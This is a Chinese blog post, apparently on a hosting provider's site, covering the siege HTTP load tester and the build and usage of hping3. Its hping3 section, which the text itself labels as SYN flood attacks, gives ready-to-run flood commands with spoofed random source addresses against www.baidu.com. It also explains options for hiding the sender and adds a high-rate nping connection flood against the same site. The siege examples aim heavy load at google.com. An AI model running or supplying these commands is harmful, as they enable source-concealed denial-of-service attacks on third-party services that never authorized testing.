溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

sige壓力測(cè)試和hping3發(fā)包工具(初稿)

發(fā)布時(shí)間:2020-08-06 05:53:02 來(lái)源:網(wǎng)絡(luò) 閱讀:4037 作者:九幽心 欄目:安全技術(shù)

siege

[root@localhost siege-4.0.2]# tar xf siege-latest.tar.gz

[root@localhost siege-4.0.2]# ./configure &&make &&make install

 

安裝完后,配置文件在/root/.siege/

 

Siege命令常用參數(shù)

-R 指定特定的配置文件來(lái)運(yùn)行

-l 運(yùn)行將結(jié)果保存于日志文件中,默認(rèn)位于/var/log/siege.log

-c 200 指定并發(fā)數(shù)200
-r 5 指定測(cè)試的次數(shù)5  
-f urls.txt 制定url的文件
-i internet系統(tǒng),隨機(jī)發(fā)送url
-b 請(qǐng)求無(wú)需等待 delay=0
-t 5 持續(xù)測(cè)試5分鐘

-u   指定一個(gè)網(wǎng)址,進(jìn)行***
# -r-t一般不同時(shí)使用

 

# 200個(gè)并發(fā)對(duì)http://www.google.com發(fā)送請(qǐng)求100

siege -c 200 -r 100 www.google

 

# urls.txt中列出所有的網(wǎng)址

siege -c 200 -r 100 -f urls.txt

 

# 隨機(jī)選取urls.txt中列出所有的網(wǎng)址

siege -c 200 -r 100 -f urls.txt -i

 

# delay=0,更準(zhǔn)確的壓力測(cè)試,而不是功能測(cè)試

siege -c 200 -r 100 -f urls.txt -i -b

 

# 指定http請(qǐng)求頭 文檔類型

siege -H Content-Yype:application/json -c 200 -r 100 -f urls.txt -i -b

 

Siege輸出結(jié)果說(shuō)明

Transactions: 總共測(cè)試次數(shù)
Availability: 成功次數(shù)百分比
Elapsed time: 總共耗時(shí)多少秒
Data transferred: 總共數(shù)據(jù)傳輸
Response time: 等到響應(yīng)耗時(shí)
Transaction rate: 平均每秒處理請(qǐng)求數(shù)
Throughput: 吞吐率
Concurrency: 最高并發(fā)

Successful transactions: 成功的請(qǐng)求數(shù)
Failed transactions: 失敗的請(qǐng)求數(shù)

 

 

Siege使用的一些總結(jié)

1,發(fā)送post請(qǐng)求時(shí),url格式為:http://www.xxxx.com/ POST p1=v1&p2=v2
2,如果url中含有空格和中文,要先進(jìn)行url編碼,否則siege發(fā)送的請(qǐng)求url不準(zhǔn)確

添加

siege -C 可以查看相關(guān)的配置參數(shù),可以自行修改,比如是否顯示log,超時(shí)時(shí)間

 

 

 

 

 

 

 

hping3

[root@localhost ~]# tar xf hping3-20051105.tar.gz

[root@localhost ~]# cd hping3-20051105

[root@localhost ~]# cd hping3-20051105

[root@localhost hping3-20051105]# ./configure

creating Makefile...

creating dependences...

In file included from ars.h:20,

                 from apd.c:19:

bytesex.h:22:3: error: #error can not find the byte order for this architecture, fix bytesex.h

In file included from apd.c:19:

ars.h:190:2: error: #error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN"

ars.h:254:2: error: #error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN"

ars.h:323:2: error: #error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN"

In file included from ars.h:20,

                 from ars.c:24:

出現(xiàn)這個(gè)報(bào)錯(cuò)。

[root@localhost hping3-20051105]# vi bytesex.h //加上一句話

#if     defined(__i386__) \

    || defined(__x86_64__) \

    || defined(__alpha__) \

    || (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSEL__)))

 

 

[root@localhost hping3-20051105]# make

gcc -c -O2 -Wall    -g  main.c

main.c:29:18: error: pcap.h: No such file or directory

main.c:169: error: expected =, ,, ;, asmor __attribute__before *token

main.c:170: error: PCAP_ERRBUF_SIZEundeclared here (not in a function)

make: *** [main.o] Error 1

 

[root@bogon hping3-20051105]# yum -y install libpcap

[root@bogon hping3-20051105]# yum -y install libpcap-devel

[root@bogon hping3-20051105]#ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h

[root@bogon hping3-20051105]# yum -y install tcl-devel

[root@bogon hping3-20051105]# make

[root@bogon hping3-20051105]# make strip

[root@bogon hping3-20051105]# make install

cp -f hping3 /usr/sbin/

chmod 755 /usr/sbin/hping3

ln -s /usr/sbin/hping3 /usr/sbin/hping

ln -s /usr/sbin/hping3 /usr/sbin/hping2

@@@@@@ WARNING @@@@@@

Can't install the man page: /usr/local/man/man8 does not exist

[root@bogon hping3-20051105]# hping

hping   hping2  hping3  

 

SYN洪水***:

hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source www.baidu.com -i u1000

-c 發(fā)送數(shù)據(jù)包數(shù)量

-d 發(fā)送到目標(biāo)機(jī)器每個(gè)數(shù)據(jù)包大小

-S 只發(fā)送SYN數(shù)據(jù)包

-w tcp窗口大小

-p 目的端口

--flood 洪水模式,不考慮顯示入站回復(fù)

--rand-source 使用隨機(jī)性源頭IP地址 -a 或者 -spoof來(lái)隱藏主機(jī)名

www.baidu.com   目標(biāo)IP或者網(wǎng)址

-i   每個(gè)包時(shí)間間隔,u10001000微秒

 

簡(jiǎn)單的SYN洪水***:

hping3 -S -P -U --flood -V -rand-source www.baidu.com

-2 --udp UDP 模式,缺省下,HPING會(huì)發(fā)送UDP報(bào)文到主機(jī)的0端口,你可以用--baseport --destport --keep選項(xiàng)指定其模式。

-a 1.1.1.1 --spoof doo   -a是隱藏IP,--spoof是隱藏主機(jī)名

 

nping  --tcp-connect -rate=90000 -c 900000 -q www.baidu.com


向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI